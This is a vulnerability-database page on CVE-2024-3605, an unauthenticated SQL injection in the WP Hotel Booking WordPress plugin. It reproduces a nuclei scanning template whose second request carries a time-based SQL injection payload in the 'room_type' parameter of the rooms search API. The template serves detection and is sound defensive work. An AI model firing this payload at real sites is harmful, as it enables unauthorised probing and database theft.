Lucene search
+L

WP Hotel Booking <= 2.1.0 - SQL Injection

🗓️ 13 Apr 2026 04:19:00Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 24 Views

WP Hotel Booking plugin suffers SQL Injection via room_type in rooms search API, enabling data extraction.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for SQL Injection in Thimpress Wp_Hotel_Booking
12 Jan 202507:53
githubexploit
circl
Circl
CVE-2024-3605
14 Jan 202512:49
circl
cnnvd
CNNVD
WordPress plugin WP Hotel Booking security vulnerability
20 Jun 202400:00
cnnvd
cve
CVE
CVE-2024-3605
20 Jun 202402:08
cve
cvelist
Cvelist
CVE-2024-3605 WP Hotel Booking <= 2.1.0 - Unauthenticated SQL Injection
20 Jun 202402:08
cvelist
kitploit
Kitploit
CVE-2024-3605
9 Sep 202611:58
kitploit
nvd
NVD
CVE-2024-3605
20 Jun 202402:15
nvd
osv
OSV
CVE-2024-3605
20 Jun 202402:15
osv
patchstack
Patchstack
WordPress WP Hotel Booking plugin <= 2.1.0 - Unauthenticated SQL Injection vulnerability
19 Jun 202412:46
patchstack
patchstack
Patchstack
WordPress WP Hotel Booking Plugin <= 2.1.0 is vulnerable to SQL Injection
19 Jun 202400:00
patchstack
Rows per page
id: CVE-2024-3605

info:
  name: WP Hotel Booking <= 2.1.0 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The WP Hotel Booking plugin for WordPress is vulnerable to SQL Injection via the 'room_type' parameter of the /wphb/v1/rooms/search-rooms REST API endpoint in all versions up to, and including, 2.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Attackers can execute arbitrary SQL queries, potentially leading to data leakage or database compromise.
  remediation: |
    Update to the latest version of WP Hotel Booking plugin that addresses this vulnerability, or apply security patches provided by the vendor.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3605
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2024,sqli,wp,wordpress,wp-plugin,wp-hotel-booking,unauth,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-json/wphb/v1/rooms/search-rooms?check_in_date=2025-01-01&check_out_date=2025-01-10&adults=4&max_child=0&paged=1&room_type=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        @timeout: 15s
        GET /wp-json/wphb/v1/rooms/search-rooms?check_in_date=2025-01-01&check_out_date=2025-01-10&adults=4&max_child=0&paged=1&room_type=1%22%29%20OR%20SLEEP%280.03%29--%20- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'status_code == 200'
          - 'contains(body, "{\"status\":\"")'
        condition: and
# digest: 4a0a004730450220227f6af59ed93bf357cd488b24b40c1127a8bf52b2a5b3e576a5c8f09f3e6379022100a1370c23c67803691476b9ae835c9d91de886d9a22b45ae983fec84517872301:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Feb 2026 14:58Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.19.8 - 10
EPSS0.04152
SSVC
24